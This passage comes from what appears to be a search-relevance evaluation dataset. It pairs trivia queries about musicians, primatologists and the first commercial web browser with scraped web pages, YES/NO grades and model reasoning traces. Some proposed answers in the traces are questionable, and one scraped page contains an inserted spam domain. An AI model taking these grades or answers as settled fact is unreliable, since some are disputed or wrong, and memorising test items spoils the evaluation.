                "model_trace": "Query Decomposition:\n1. {celebrated musician}: Robert Plant is a well-known and celebrated musician -> ([1], SATISFIED)\n2. {recognized for blending traditional folk music with elements of rock and blues}: The document mentions Robert Plant collaborating with Alison Krauss and T Bone Burnett, and performing renditions of classic songs. However, it does not explicitly state that Robert Plant is recognized for blending traditional folk music with rock and blues -> ([2], UNSURE)\n\nAssessment: The document confirms that Robert Plant is a celebrated musician but does not clearly state that he is recognized for blending traditional folk music with elements of rock and blues. Therefore, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Jazz",
                "url": "https://en.wikipedia.org/wiki/Jazz",
                "published_date": null,
                "text": "Jazz   Stylistic origins  \n  Blues \n Ragtime (including classical ragtime)\n Spirituals \n folk \n marches \n classical European music \n West African music  \n    Cultural origins Late 19th century, New Orleans, U.S.   Typical instruments     Double bass   drums   guitar (typically electric guitar)  piano   saxophone   trumpet   clarinet   trombone   tuba   vocals   vibraphone   Hammond organ   harmonica       Subgenres     Subgenres \n  Avant-garde jazz \n bebop \n big band \n chamber jazz \n cool jazz \n free jazz \n gypsy jazz \n hard bop \n Latin jazz \n mainstream jazz \n modal jazz \n M-Base \n neo-bop \n orchestral jazz \n post-bop \n progressive jazz \n soul jazz \n straight-ahead jazz \n swing \n third stream \n traditional jazz     (complete list)\n   Fusion genres     Fusion genres \n  Acid jazz \n Afrobeat \n bluegrass \n bossa nova \n dansband \n folk jazz \n free funk \n humppa \n Indo jazz \n jam band \n jazzcore \n jazz-funk \n jazz fusion \n jazz rap \n kwela \n Mambo \n Manila Sound \n nu jazz \n neo soul \n punk jazz \n ska jazz \n smooth jazz \n swing revival \n Western swing \n world fusion    \n   Regional scenes     Regional scenes \n  Australia \n Armenia \n Azerbaijan \n Balkans (Bulgaria)\n Baltimore \n Belgium \n Brazil \n Canada \n Chicago \n Cuba \n Denmark \n France \n Germany \n Haiti \n India \n Iran \n Italy \n Japan \n Kansas City \n Malawi \n Mexico \n Netherlands \n New Orleans \n New York City \n Poland \n South Africa (Cape jazz)\n Spain \n Sweden \n UK \n U.S. West Coast    \n   Other topics    \n  Jazz clubs \n Jazz standard \n Jazz (word)  \n      2022 in jazz     \n Jazz is a music genre that originated in the African-American communities of New Orleans, Louisiana, in the late 19th and early 20th centuries, with its roots in blues and ragtime. [1]   [2]   [3]   [4]  Since the 1920s Jazz Age, it has been recognized as a major form of musical expression in traditional and popular music. Jazz is characterized by swing and blue notes, complex chords, call and response vocals, polyrhythms and improvisation. Jazz has roots in European harmony and African rhythmic r",
                "model_trace": "Query Decomposition:\n1. {celebrated musician}: The document does not mention any specific musicians -> ([0], UNSURE)\n2. {recognized for blending traditional folk music with elements of rock and blues}: The document focuses on jazz music and its origins, not on blending traditional folk music with rock and blues -> ([1], UNSATISFIED)\n3. {creating a distinctive sound}: The document discusses the distinctive sound of jazz, but not in the context of blending traditional folk music with rock and blues -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the subcomponents related to blending traditional folk music with elements of rock and blues to create a distinctive sound. NO."
            },
            {
                "grade": "NO",
                "title": "Bluegrass music",
                "url": "https://en.wikipedia.org/wiki/Bluegrass_music",
                "published_date": null,
                "text": "From Wikipedia, the free encyclopedia\n\t \n   Bluegrass      A typical bluegrass band    Stylistic origins     Country   English folk   Scottish folk   Irish folk   Appalachian music   old-time music   African-American music   string bands   blues   jazz       Cultural origins  c. 1945, Appalachia, U.S.   Subgenres      Progressive bluegrass  traditional bluegrass       Fusion genres    Jam band    Regional scenes    Czech Republic    Other topics    Musicians \u2013 Hall of Honor    \n Bluegrass music is a genre of American roots music that developed in the 1940s in the Appalachian region of the United States. [1]  The genre derives its name from the band Bill Monroe and the Blue Grass Boys. [2]  Like mainstream country music, it largely developed out of old-time string music, though in contrast, bluegrass is traditionally played exclusively on acoustic instruments and also has roots in traditional English, Scottish, and Irish ballads and dance tunes as well as in blues and jazz. [3]  Bluegrass was further developed by musicians who played with Monroe, including 5-string banjo player Earl Scruggs and guitarist Lester Flatt. Monroe characterized the genre as: \"Scottish bagpipes and ole-time fiddlin'. It's a part of Methodist, Holiness and Baptist traditions. It's blues and jazz, and it has a high lonesome sound.\" [4] \n Bluegrass features acoustic stringed instruments and emphasizes the off-beat. Notes are anticipated, in contrast to laid back blues where notes are behind the beat, which creates the higher energy characteristic of bluegrass. [3]  In bluegrass, as in some forms of jazz, one or more instruments each takes its turn playing the melody and improvising around it, while the others perform accompaniment; this is especially typified in tunes called breakdowns. [5]  This is in contrast to old-time music, in which all instruments play the melody together or one instrument carries the lead throughout while the others provide accompaniment. [5]  Breakdowns are often characterized by rapid tempos and unusual instrument",
                "model_trace": "[QUERY] Which celebrated musician is recognized for blending traditional folk music with elements of rock and blues to create a distinctive sound?\n\n[WEBPAGE INFORMATION]\n[TITLE] Bluegrass music\n[URL] https://en.wikipedia.org/wiki/Bluegrass_music\n[DATE PUBLISHED] None\n[CONTENT] From Wikipedia, the free encyclopedia\n\t \n   Bluegrass      A typical bluegrass band    Stylistic origins     Country   English folk   Scottish folk   Irish folk   Appalachian music   old-time music   African-American music   string bands   blues   jazz       Cultural origins  c. 1945, Appalachia, U.S.   Subgenres      Progressive bluegrass  traditional bluegrass       Fusion genres    Jam band    Regional scenes    Czech Republic    Other topics    Musicians \u2013 Hall of Honor    \n Bluegrass music is a genre of American roots music that developed in the 1940s in the Appalachian region of the United States. [1]  The genre derives its name from the band Bill Monroe and the Blue Grass Boys. [2]  Like mainstream country music, it largely developed out of old-time string music, though in contrast, bluegrass is traditionally played exclusively on acoustic instruments and also has roots in traditional English, Scottish, and Irish ballads and dance tunes as well as in blues and jazz. [3]  Bluegrass was further developed by musicians who played with Monroe, including 5-string banjo player Earl Scruggs and guitarist Lester Flatt. Monroe characterized the genre as: \"Scottish bagpipes and ole-time fiddlin'. It's a part of Methodist, Holiness and Baptist traditions. It's blues and jazz, and it has a high lonesome sound.\" [4] \n Bluegrass features acoustic stringed instruments and emphasizes the off-beat. Notes are anticipated, in contrast to laid back blues where notes are behind the beat, which creates the higher energy characteristic of bluegrass. [3]  In bluegrass, as in some forms of jazz, one or more instruments each takes its turn playing the melody and improvising around it, while the others perform accompaniment; this is especially typified in tunes called breakdowns. [5]  This is in contrast to old-time music, in which all instruments play the melody together or one instrument carries the lead throughout while the others provide accompaniment. [5]  Breakdowns are often characterized by rapid tempos and unusual instrument\n\nQuery Decomposition:\n1. {celebrated musician}: The document mentions Bill Monroe, Earl Scruggs, and Lester Flatt, who are celebrated musicians in bluegrass -> ([1], SATISFIED)\n2. {blending traditional folk music with elements of rock and blues}: The document discusses blending traditional folk music with blues and jazz, but not specifically rock -> ([2], UNSURE)\n3. {creating a distinctive sound}: The document describes the distinctive sound of bluegrass music -> ([1], SATISFIED)\n\nAssessment: The document provides information about celebrated musicians and their distinctive sound, but it does not specifically mention the blending of rock with traditional folk music. Therefore, it does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Jazz | Definition, History, Musicians, & Facts",
                "url": "https://www.britannica.com/art/jazz",
                "published_date": null,
                "text": "Recent News\n\t\t\n\t     jazz,  musical form, often improvisational, developed by African Americans and influenced by both European harmonic structure and   African rhythms. It was developed partially from ragtime and blues and is often characterized by syncopated rhythms, polyphonic ensemble playing, varying degrees of improvisation, often deliberate deviations of pitch, and the use of original timbres.       Any attempt to arrive at a precise, all-encompassing definition of jazz is probably futile. Jazz has been, from its very beginnings at the turn of the 20th century, a constantly evolving, expanding, changing music, passing through several distinctive phases of development; a definition that might apply to one phase\u2014for instance, to New Orleans style or swing\u2014becomes inappropriate when applied to another segment of its history, say, to free jazz. Early attempts to define jazz as a music whose chief characteristic was   improvisation, for example, turned out to be too restrictive and largely untrue, since   composition, arrangement, and ensemble have also been essential components of jazz for most of its history. Similarly,   syncopation and swing, often considered essential and unique to jazz, are in fact lacking in much authentic jazz, whether of the 1920s or of later decades. Again, the long-held notion that swing could not occur without syncopation was roundly disproved when trumpeters Louis Armstrong and Bunny Berigan (among others) frequently generated enormous swing while playing repeated, unsyncopated quarter notes.       Jazz, in fact, is not\u2014and never has been\u2014an entirely composed, predetermined music, nor is it an entirely extemporized one. For almost all of its history it has employed both creative approaches in varying degrees and endless permutations. And yet, despite these diverse terminological confusions, jazz seems to be instantly recognized and distinguished as something separate from all other forms of musical expression. To repeat Armstrong\u2019s famous reply when asked what    swing  meant: \u201cIf ",
                "model_trace": "Query Decomposition:\n1. {celebrated musician}: The document should mention a well-known musician -> ([1], UNSURE)\n2. {recognized for blending traditional folk music with elements of rock and blues}: The document should discuss a musician known for this specific blend of genres -> ([1], UNSATISFIED)\n\nAssessment: The document primarily discusses jazz music, its history, and characteristics, without mentioning a musician who blends traditional folk music with elements of rock and blues. Therefore, it does not satisfy the key subcomponents of the query. NO."
            }
        ]
    },
    {
        "query": "What renowned primatologist is renowned for their groundbreaking research on chimpanzee behavior and social dynamics?",
        "grid_pos": [
            1,
            8
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Person",
        "reasoning_trace": [
            "The answers to these queries are:\n1. El Greco\n2. Ferran Adri\u00e0\n3. Alan Turing\n4. Bob Dylan\n5. Jane Goodall"
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Frans de Waal - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Frans_de_Waal",
                "published_date": "2003-11-24",
                "text": "From Wikipedia, the free encyclopedia\n\nFrans de Waal Frans de Waal in 2006 Born Franciscus Bernardus Maria de Waal October 29, 1948 (age 74) 's-Hertogenbosch, North Brabant, Netherlands Scientific career Fields Primatologist, ethologist Institutions Emory University Doctoral advisor Jan van Hooff Doctoral students Jessica Flack Influences Nikolaas Tinbergen, Jan van Hooff \n Franciscus Bernardus Maria \"Frans\" de Waal (born October 29, 1948) is a Dutch primatologist and ethologist. He is the Charles Howard Candler Professor of Primate Behavior in the Department of Psychology at Emory University in Atlanta, Georgia, director of the Living Links Center at the Yerkes National Primate Research Center at Emory, [1] and author of numerous books including Chimpanzee Politics (1982) and Our Inner Ape (2005). His research centers on primate social behavior, including conflict resolution, cooperation, inequity aversion, and food-sharing. He is a member of the United States National Academy of Sciences and the Royal Netherlands Academy of Arts and Sciences.\n\nEarly life and education[edit]\nDe Waal was born in 's-Hertogenbosch on October 29, 1948. [2] He studied at the Dutch universities of Radboud University Nijmegen, University of Groningen, and Utrecht. In 1977, De Waal received his doctorate in biology from Utrecht University after training as a zoologist and ethologist with professor Jan van Hooff, a well-known expert of emotional facial expressions in primates. His dissertation titled: \"Agonistic interactions and relations among Java-monkeys\" concerned aggressive behavior and alliance formation in macaques. [2] [3] Fellow Dutch ethologist Niko Tinbergen was an inspiration to de Waal. [4]\n\nCareer[edit]\n\nAtheism will need to be combined with something else, something more constructive than its opposition to religion, to be relevant to our lives. The only possibility is to embrace morality as natural to our species.\n\n\u2014 from The Bonobo and the Atheist (2013)\n\nIn 1975, De Waal began a six-year project on the world's largest ca",
                "model_trace": "Query Decomposition:\n1. {Renowned primatologist}: The document identifies Frans de Waal as a renowned primatologist -> ([1], SATISFIED)\n2. {Groundbreaking research on chimpanzee behavior and social dynamics}: The document mentions that Frans de Waal authored \"Chimpanzee Politics\" and focuses his research on primate social behavior, including topics like conflict resolution and cooperation, which are aspects of social dynamics -> ([1], SATISFIED)\n\nAssessment: Both key subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Champion Among Apes",
                "url": "https://chimpsnw.org/2024/03/champion-among-apes/",
                "published_date": "2024-03-19",
                "text": "The fact that the apes exist and that we can study them is extremely important and makes us reflect on ourselves and our human nature. In that sense alone, you need to protect the apes.\u201d \nWe join the primatology world in mourning the loss of researcher Frans de Waal. Frans was one of the bigger names in primatology. His studies on cognition, emotions, empathy, intelligence, (this list goes on) are widely regarded as some of the most important studies contributed to the study of primates, particularity those relating to chimpanzees and bonobos.\nThough in his early years most of his studies we focused on captive lab settings, he started to champion for non-lab studies and conservation efforts. In fact, he has been associated with many sanctuaries either as a member of board of directors or as consultant on behavior and welfare.\nFrans was the author of many books on the topic of intelligence and empathy. Some of those aren\u2019t all centered around primates but go through a whole spectrum of species. I could list all the books I recommend to read, but it would be a just a majority of his works. I will though say if you haven\u2019t read his most influential book \u201cChimpanzee Politics,\u201d that would be the best place to start. \u201cChimpanzee Politics\u201d is the book that actually set me down the path to where I am now. At the time, I was well down the rabbit hole of majoring in political science and only a minor in anthropology, one of the many umbrellas the field of primatology falls under, which I was unaware of at the time. That book allowed me to realize I could marry up my political science and anthropology studies together.\n\u201cChimpanzee Politics\u201d was so influential to me, I was able to get Frans to sign my copy when he was passing through Seattle and giving a talk about animal emotions in conjunction with the release of his book \u201cMama\u2019s Last Hug,\u201d which I also recommend. \u201cMama\u2019s Last Hug,\u201d was written after the viral video of Mama recognized one of her oldest researchers, Jan van Hooff, visited her as she was in her final days. N",
                "model_trace": "Query Decomposition:\n1. [Renowned primatologist]: The document mentions Frans de Waal, a renowned primatologist -> ([1], SATISFIED)\n2. [Groundbreaking research on chimpanzee behavior and social dynamics]: The document specifically highlights Frans de Waal's influential work on chimpanzee behavior, including his book \"Chimpanzee Politics\" -> ([1], SATISFIED)\n\nAssessment: The document clearly identifies Frans de Waal as a renowned primatologist and details his groundbreaking research on chimpanzee behavior and social dynamics. YES"
            },
            {
                "grade": "YES",
                "title": "Frans B.M. de Waal",
                "url": "https://www.amacad.org/person/frans-bm-de-waal",
                "published_date": "2023-01-27",
                "text": "Frans B,M. de Waal is the Director of the Living Links Center and C.H. Candler Professor of Primate Behavior in the Psychology Department at Emory University. He is considered a pioneer of research into the politics of chimpanzees and the tendency of nonhuman primates to resolve conflicts, such as through reconciliation after fights. His work on social learning, cooperation, fairness and empathy in monkeys and apes has fueled an interest in the evolution of human morality and the cultural variability of primate societies. His first book, Chimpanzee Politics (1982) compared the schmoozing and scheming of chimpanzees involved in power struggles with that of human politicians. Ever since, de Waal has drawn parallels between primate and human behavior, from peacemaking and morality to culture. His scientific work has been published in hundreds of technical articles in journals such as Science, Nature, Scientific American, and outlets specialized in animal behavior. His popular books \u2014 translated into twenty languages \u2014 have made him one of the world's most visible primatologists. His latest books are The Age of Empathy (2009), and The Bonobo and the Atheist (2013). Two recent edited volumes are The Primate Mind (2012) and Evolved Morality (2014). He has been elected to the (US) National Academy of Sciences and the Royal Dutch Academy of Sciences. In 2007, he was selected by Time as one of The Worlds' 100 Most Influential People Today, and in 2011 by Discover as among 47 (all time) Great Minds of Science. Being editor-in-chief of the journal Behaviour, de Waal has stepped in the footsteps of Niko Tinbergen, one of the founders of ethology.",
                "model_trace": "Query Decomposition:\n1. {renowned primatologist}: The document provides detailed information about Frans B.M. de Waal, who is described as a highly visible and influential primatologist -> ([1], SATISFIED)\n2. {groundbreaking research on chimpanzee behavior and social dynamics}: The document mentions de Waal's pioneering research into the politics of chimpanzees, conflict resolution, social learning, cooperation, fairness, and empathy in primates, specifically highlighting his book \"Chimpanzee Politics\" -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "About Jane - Jane Goodall Institute USA",
                "url": "https://janegoodall.org/our-story/about-jane/",
                "published_date": null,
                "text": "About Jane\nIn July 1960, at the age of 26, Jane Goodall traveled from England to what is now Tanzania and ventured into the little-known world of wild chimpanzees.\n \n \n \n    \n Equipped with little more than a notebook, binoculars, and her fascination with wildlife, Jane Goodall braved a realm of unknowns to give the world a remarkable window into humankind\u2019s closest living relatives. Through nearly 60 years of groundbreaking work, Dr. Jane Goodall has not only shown us the urgent need to protect chimpanzees from extinction; she has also redefined species conservation to include the needs of local people and the environment. Today she travels the world, speaking about the threats facing chimpanzees and environmental crises, urging each of us to take action on behalf of all living things and planet we share.\n \n       Jane Goodall   \n       Jane Goodall, 1965, Gombe.   \n       OTH0171-01_web_projectheader edit 2   \n       Dr. Jane Goodall at her favorite waterfall in Gombe National Park, Tanzania   \n       Dr. Jane Goodall at a lecture tour as part of her global engagements traveling nearly 300 days a year   \n       Dr. Jane Goodall with 'Survivor Tree', the tree that survived 9/11 at the site of the memorial in NYC   \n  Scientist   Conservationist   Peacemaker   Mentor  \nEarly Discoveries\nWhen Jane Goodall entered the forest of Gombe, the world knew very little about chimpanzees, and even less about their unique genetic kinship to humans. She took an unorthodox approach in her field research, immersing herself in their habitat and their lives to experience their complex society as a neighbor rather than a distant observer and coming to understand them not only as a species, but also as individuals with emotions and long-term bonds. Dr. Jane Goodall\u2019s discovery in 1960 that chimpanzees make and use tools is considered one of the greatest achievements of twentieth-century scholarship. Her field research at Gombe transformed our understanding of chimpanzees and redefined the relationship between humans and animals in ",
                "model_trace": "Query Decomposition:\n1. {renowned primatologist}: This document is about Jane Goodall, who is a renowned primatologist -> ([1], SATISFIED)\n2. {groundbreaking research on chimpanzee behavior and social dynamics}: The document details Jane Goodall's groundbreaking work on chimpanzee behavior and social dynamics, including her discovery that chimpanzees make and use tools -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Gombe 60: Six Decades of Discovery, Innovation & Hope",
                "url": "https://janegoodall.org/make-a-difference/gombe-60/",
                "published_date": null,
                "text": "Honoring 60 years of groundbreaking research and discoveries growing understanding of and compassion for our closest living relatives, and ourselves.\nWhat will we discover next?\n \n On July 14, 2020, the Jane Goodall Institute will mark the 60th anniversary of the day that Dr. Jane Goodall first arrived in what is now Gombe Stream National Park, Tanzania, to begin her ground-breaking study of the wild chimpanzees living there. Recognizing 60 years of discovery, the Jane Goodall Institute is proud to honor the revolutionary scientific insights, community-centered conservation, current research, and expansive legacy of our work in Gombe.\nJGI\u2019s ground-breaking science, conservation, and connections to the community around Gombe makes it one of the world\u2019s most important and precious resources, which will continue to grow in remarkable ways for many years to come.\n \n   \n  Legacy of Science   Understanding Chimpanzees   Major Discoveries   Gombe &amp; Conservation  \nAs a trailblazing researcher, Dr. Jane Goodall\u2019s discoveries in Gombe and worldwide influence inspire generations across fields, breaking barriers in science, and beyond. Dr. Goodall\u2019s example and story spurred a global movement, encouraging scientific expansion and an important increase in the number of women in STEM and related fields. Dr. Goodall\u2019s living legacy continues to influence millions of individuals, institutions, and organizations.\nOver 300 publications from Gombe researchers since 1960.\nNearly 50 PhDs and masters have been obtained through work in Gombe, with generations of researchers going on to work at major universities, organizations, and other agencies and institutions all over the globe.\nOver\u00a0250\u00a0researchers\u00a0that have conducted studies in Gombe,\u00a0including\u00a0Tanzanians, with generations of mentees following in their footsteps.\nIt is estimated that since 1960, as there has been a growth of women in the workplace across the board, there has also been an important jump of 7% to 26% in STEM (from 1970-2011 CENSUS).\n \n \n  \nThrough groundbreakin",
                "model_trace": "Query Decomposition:\n1. {renowned primatologist}: This document mentions Dr. Jane Goodall, who is a renowned primatologist -> ([1], SATISFIED)\n2. {groundbreaking research on chimpanzee behavior and social dynamics}: The document highlights Dr. Jane Goodall's pioneering research on wild chimpanzees in Gombe Stream National Park, Tanzania, which includes behavior and social dynamics -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Jane Goodall work with chimpanzees in detail | PPT - SlideShare",
                "url": "https://www.slideshare.net/slideshow/jane-goodall-work-with-chimpanzees-in-detail/266772492",
                "published_date": null,
                "text": "1. 1170L\nBIOGRAPHY\nJANE\nGOODALL\n6\n        2. Born\nApril 3, 1934\nLondon,  England\nBIOGRAPHY OF\nA PRIMATOLOGIST\nJANE\nGOODALL\nBy Cynthia Stokes Brown\n      3. 2 3\nIn 1960  Jane Goodall\npioneered the study of\nchimpanzees in the\nwild, showing the world\nhow similar chimpanzee\nbehavior is to that of\nhumans, and helping to\ndemonstrate the close\nevolutionary relationship\nof the two species.\n      4. 4 5\nAn early  interest in animal life\nJane Goodall\u2019s parents were Mortimer Herbert Morris-Goodall, a car-racing\nbusinessman, and Margaret Myfanwe Joseph, a novelist who published under\nthe name Vanne Morris-Goodall.\nWhen Jane was just over a year old, her father gave her a stuffed toy, a\nlifelike replica of a chimpanzee, named \u201cJubilee\u201d after the first chimpanzee\ninfant ever born at the London Zoo. The toy horrified some of her mother\u2019s\nfriends, who thought that it would give Jane nightmares. They could not\nforesee the favorable influence it would have on her.\nGoodall\u2019s interest in observing animal life showed up early. When she was\n4, she wanted so badly to know how an egg came out of a hen that she\nhid inside a small henhouse for nearly four hours waiting to see it happen.\nMeanwhile, the whole household had been searching for her and had even\nreported her missing to the police.\nGoodall\u2019s fascination with Africa was aroused by reading The Story of Doctor\nDolittle by Hugh Lofting. Lofting depicts Dolittle as a kindly doctor who\ntravels to Africa and talks to animals. Jane also read all of the Tarzan books.\nHer mother encouraged her dream of studying animals in Africa \u2014 assuring\nher that she could do it if she worked hard and believed in herself.\nGoodall\u2019s parents divorced when she was 12, and when she graduated from\nsecondary school in 1952, her family could not afford to send her to college.\nInstead, she went to secretarial school and then worked as a secretary,\nincluding a job at Oxford University typing and filing. In 1956, a school friend\ninvited her to visit the friend\u2019s family farm in the highlands of Kenya. Goodall\nwent",
                "model_trace": "Query Decomposition:\n1. {renowned primatologist}: The document mentions Jane Goodall, who is a renowned primatologist -> ([1], SATISFIED)\n2. {groundbreaking research on chimpanzee behavior and social dynamics}: The document details Jane Goodall's pioneering study of chimpanzees in the wild and her contributions to understanding their behavior and social dynamics -> ([1], SATISFIED)\n\nAssessment: The document clearly identifies Jane Goodall as a renowned primatologist and details her groundbreaking research on chimpanzee behavior and social dynamics. Both key subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "What was the name of the first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web?",
        "grid_pos": [
            1,
            9
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Fact/Trivia/Knowledge",
        "reasoning_trace": [
            "1. The first commercial web browser released in 1993 that allowed users to view and navigate the World Wide Web was Mosaic.\n\n2. The social media platform founded in 2003 with the original purpose of helping college students connect with each other was Facebook.\n\n3. The popular video game series that allows players to take on the role of a supernatural detective solving occult-themed mysteries is the Sherlock Holmes series.\n\n4. The medical condition characterized by an abnormal buildup of fluid in the spaces surrounding the lungs, often causing shortness of breath, is pleural effusion.\n\n5. The popular finance app that allows users to track their spending, create budgets, and monitor their credit scores is Mint."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "WorldWideWeb - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/WorldWideWeb",
                "published_date": "2003-03-01",
                "text": "From Wikipedia, the free encyclopedia\n\nThis article is about the first web browser. For the distributed hypertext system, see World Wide Web.\n WorldWideWeb WorldWideWeb, c. 1994 Developer(s) Tim Berners-Lee for CERN Initial release 25 December 1990; 32 years ago [1] Final release 0.18 \n / 1994; 29 years ago Preview release (www.Bajilive.net public release) ((n/a)) [\u00b1] Written in Objective-C [1] Operating system NeXTSTEP [1] Available in English Type Web browser, Web authoring tool License Public domain software Website www .w3 .org /People /Berners-Lee /WorldWideWeb .html \n WorldWideWeb (later renamed Nexus to avoid confusion between the software and the World Wide Web) is the first web browser [1] and web page editor. [2] It was discontinued in 1994. It was the first WYSIWYG HTML editor.\n The source code was released into the public domain on 30 April 1993. [3] [4] Some of the code still resides on Tim Berners-Lee's NeXT Computer in the CERN museum and has not been recovered due to the computer's status as a historical artifact. [5] To coincide with the 20th anniversary of the research center giving the web to the world, a project began in 2013 at CERN to preserve this original hardware and software associated with the birth of the Web. [6]\n\nHistory[edit]\n Tim Berners-Lee wrote what would become known as WorldWideWeb on a NeXT Computer [4] during the second half of 1990, while working for CERN, a European nuclear research agency. The first edition was completed \"some time before\" 25 December 1990, according to Berners-Lee, after two months of development. [7] The browser was announced on the newsgroups and became available to the general public in August 1991. [7] [8] By this time, several others, including Bernd Pollermann, Robert Cailliau, Jean-Fran\u00e7ois Groff, [9] and visiting undergraduate student Nicola Pellow \u2013 who later wrote the Line Mode Browser \u2013 were involved in the project. [7] \n Berners-Lee considered different names for his new application, including The Mine of Information and The Information Mesh,",
                "model_trace": "Query Decomposition:\n1. {name of the first commercial web browser}: The document mentions WorldWideWeb, but it is not clear if it was a commercial web browser -> ([2], UNSURE)\n2. {released in 1993}: The document states that the source code was released into the public domain in 1993, but it does not specify the commercial release date -> ([2], UNSURE)\n3. {allowed users to view and navigate the World Wide Web}: The document confirms that WorldWideWeb was the first web browser and web page editor, allowing users to view and navigate the World Wide Web -> ([1], SATISFIED)\n\nAssessment: The document provides information about WorldWideWeb being the first web browser and its functionalities, but it does not clearly state whether it was the first commercial web browser released in 1993. Given the ambiguity surrounding the commercial aspect and the release date, the document does not fully satisfy the query. NO."
            },
            {
                "grade": "NO",
                "title": "Erwise - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Erwise",
                "published_date": "2006-11-01",
                "text": "From Wikipedia, the free encyclopedia\n\nErwise Screenshot of the browser Developer(s) Kim Nyberg, Teemu Rantanen, Kati Suominen, Kari Syd\u00e4nmaanlakka [1] Initial release 0.1 / 15 April 1992; 30 years ago Final release 0.1\n / 25 April 1994; 28 years ago Repository none Written in C Platform Unix (Sun-4, [2] NeXT/CubX, [2] DEC [2] Ultrix) using Motif [1] Available in English Type web browser License Public Domain Website www .w3 .org /History /19921103-hypertext /hypertext /Erwise /Review .html \n Erwise is a discontinued pioneering web browser, and the first available with a graphical user interface. [3] [4] \n Released in April 1992, the browser was written for Unix computers running X and used the W3 common access library. [5] Erwise was the combined master's project of four Finnish students at the Helsinki University of Technology [6] (now merged into Aalto University): Kim Nyberg, Teemu Rantanen, Kati Suominen and Kari Syd\u00e4nmaanlakka. [1] [2] [7] The group decided to make a web browser at the suggestion of Robert Cailliau, who was visiting the university, [8] and were supervised by Ari Lemmke.\n The development of Erwise halted after the students graduated and went on to other projects. [2] Tim Berners-Lee, the creator of the World Wide Web, travelled to Finland to encourage the group to continue with the project. However, none of the project members could afford to continue with the project without proper funding. [2] \n The name Erwise originates from otherwise and the name of the project group, OHT. [8] [9] [10]\n\nDevelopment[edit]\nFor the web to be popularized, Tim Berners-Lee knew that what people wanted was a GUI-based browser - one that could target multiple operating systems, and most importantly, be easy-to-use for the technologically-challenged. At the time, personal computers were also confusing to some people that were not experienced with technology. [11]\n\nHistory[edit]\n Extremely pre-documented (in Finnish). [9] \nSerious coding started around March 1992. [9] \nAlpha release available by anonymous FTP fro",
                "model_trace": "Query Decomposition:\n1. {name of the first commercial web browser}: The document mentions Erwise but does not specify if it was the first commercial web browser -> ([1], UNSATISFIED)\n2. {released in 1993}: The document states that Erwise was released in April 1992, not 1993 -> ([1], UNSATISFIED)\n3. {allowed users to view and navigate the World Wide Web}: The document confirms that Erwise was a web browser that allowed users to view and navigate the World Wide Web -> ([1], SATISFIED)\n\nAssessment: The document does not satisfy the subcomponents regarding the first commercial web browser and the release year of 1993. Therefore, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Netscape Navigator 1.0 | Web Design Museum",
                "url": "https://www.webdesignmuseum.org/old-software/web-browsers/netscape-navigator-1-0",
                "published_date": "2023-01-01",
                "text": "On December 15, 1994, Netscape Communications Corporation released the Netscape Navigator 1.0 web browser. Netscape Navigator 1.0 was the first commercial web browser, although this particular version was free for non-commercial use. In the mid-1990s became Netscape Navigator the most popular web browser.\n Netscape Navigator 1.0 included new enhancements and features such as modem speed optimization, security considerations, document and image-handling performance (JPEG image decompression), new user interface features (extended toolbar and enhanced bookmark, etc.), helper applications and, support of HTML 3.0 features (tables, color control for text, hyperlinks, and backgrounds).\n\nRelease Date\n\nDecember 15, 1994\n\nSystem Requirements\n Windows\n\nWindows 3.1\n Windows 95\n Windows NT\n\nMacintosh\n\nSystem 7.0\n\nUnix\n\nX Window System\n\nCross-platform\n\nAt least 4 MB of RAM\n At least 5 MB of free disk space\n 9600 bps or faster modem (14,400 or even 28,800 bps recommended)\n\nPrice\n\nFree download from ftp.netscape.com or Netscape.com\n\nResources\n\nNetscape Navigator \n Easy World Wide Web with Netscape \n Surfing the Internet with Netscape \n Netscape and the World Wide Web for Dummies",
                "model_trace": "Query Decomposition:\n1. {Name of the first commercial web browser}: The document mentions Netscape Navigator 1.0 as a commercial web browser but states it was released in 1994, not 1993 -> ([1], UNSATISFIED)\n2. {Released in 1993}: The document states Netscape Navigator 1.0 was released on December 15, 1994, not 1993 -> ([1], UNSATISFIED)\n3. {Allowed users to view and navigate the World Wide Web}: The document does mention that Netscape Navigator 1.0 allowed users to view and navigate the World Wide Web -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {Name of the first commercial web browser} and {Released in 1993}. Since both of these subcomponents are UNSATISFIED, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "NCSA Mosaic - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/NCSA_Mosaic",
                "published_date": null,
